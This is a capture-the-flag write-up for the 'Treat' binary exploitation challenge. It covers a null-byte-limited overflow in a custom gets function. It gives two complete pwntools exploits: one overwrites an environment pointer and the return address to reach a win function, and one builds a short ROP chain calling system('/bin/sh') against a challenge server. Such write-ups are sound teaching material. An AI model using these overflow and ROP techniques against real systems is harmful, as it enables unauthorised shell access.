This is a writeup for the challenge 'Treat' from InfernoCTF which took place in late december. It was a non trivial but relatively easy challenge with a few slightly different solutions.
We start by checking the binary's protections with checksec:
[*] '/root/ctf/inferno/pwn/treat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Having a look through the decompilation in ghidra, we can summarise that:
Here's where that takes place:
printf("What is your name : ");
custom_gets(&DAT_00405080);
printf("Nice to meet you %s, What treat would you like?",&DAT_00405080);
print_menu();
custom_gets(local_48);
custom_gets()
is also called again at the end of the binary.
Lets take a look at the function which processes our input:
void custom_gets(long param_1)
{
char cVar1;
int iVar2;
uint local_c;
local_c = 0;
do {
iVar2 = getchar();
cVar1 = (char)iVar2;
*(char *)((int)local_c + param_1) = cVar1;
local_c = local_c + 1;
if (cVar1 == '\0') break;
} while (cVar1 != '\n');
*(undefined *)(param_1 + (long)(int)local_c + -1) = 0;
while ((local_c & 7) != 0) {
*(undefined *)(param_1 + (int)local_c) = 0;
local_c = local_c + 1;
}
return;
}
Kind of gross, but we can summarise its functionality as follows:
( x & 7 != 0
to test for a multiple of 8 is pretty cool )
This input function is interesting. It allows us to overflow a buffer, however we run into trouble when writing addresses to memory since theyre likely to contain null bytes. Effectively, with each of the two buffer overflows we have throughout the execution of the program, we can only overwrite one word of memory. So how can we pwn?
Fortunately we have access to the following function:
void win_function(void)
{
char *__command;
puts("You want some special treat?\nHere you go");
__command = getenv("TREAT");
system(__command);
return;
}
This makes it pretty obvious how we can use two single word overwrites to win:
TREAT=/bin/sh
in memorySo The first thing to do is decide how far we have to write. To do this, we just have to find the address of the env vars on the stack and determine how far they are from where out buffer sits.
We can find the address of the env like this:
gdb-peda$ x/gx (char **)environ
0x7fffffffe1a8: 0x00007fffffffe4c8
This is the address we're interested in overwriting. More specifically, we want to place a pointer to the string "TREAT=/bin/sh" at this address.
Subtracting away the address of the base of our buffer, we can work out that we need to write 312 bytes.
Once we've performed this overwrite, we simply overwrite the return address with the win function and we get our shell.
Exploit code:
from pwn import *
sh = "TREAT=/bin/sh"
sh_addr = p64(0x405080)
win = p64(0x401186)
or_env = "1" * 312 + sh_addr
or_ret = "A" * 72 + win
p = remote("130.211.214.112", 18010)
p.recvuntil("name :")
p.sendline(sh)
p.recvuntil("What treat would you like? (1~3) : ")
p.sendline(or_env)
p.recvuntil("Please give us some feedback : ")
p.sendline(or_ret)
p.interactive()
It is also possible to use the win function present in the binary to win without overwriting environment variables.
The main idea is to use the call to system as part of a short rop chain which calls system with /bin/sh
as the argument.
Our ROP-chain will look like pop_rdi + sh + system
, so we need to figure out a way to get the address of the /bin/sh
string into rdi.
You may have noticed that we need three items on the stack when we're only able to write two words. We can overcome this by writing one word, then returning back into main the write the next two. The exploit looks like this:
from pwn import *
system = "1"*96 + "\xa5\x11\x40"
ret_main_1 = "A"*72 + "\xc4\x12\x40"
sh = "1"*80 + "\x80\x50\x40"
pop_rdi = "A"*72 + "\xa3\x16\x40"
p = remote("130.211.214.112", 18010)
p.recvuntil("name :")
p.sendline('/bin/sh')
p.recvuntil("What treat would you like? (1~3) : ")
p.sendline(system)
p.recvuntil("Please give us some feedback : ")
p.sendline(ret_main_1)
p.recvuntil("name :")
p.sendline('/bin/sh')
p.recvuntil("What treat would you like? (1~3) : ")
p.sendline(sh)
p.recvuntil("Please give us some feedback : ")
p.sendline(pop_rdi)
p.interactive()
Note: the reason we dont use pwntools p64
here is that that would include null bytes in our payload.
Instead we leverage the padding that takes place in the custom_gets
function to pad out each address.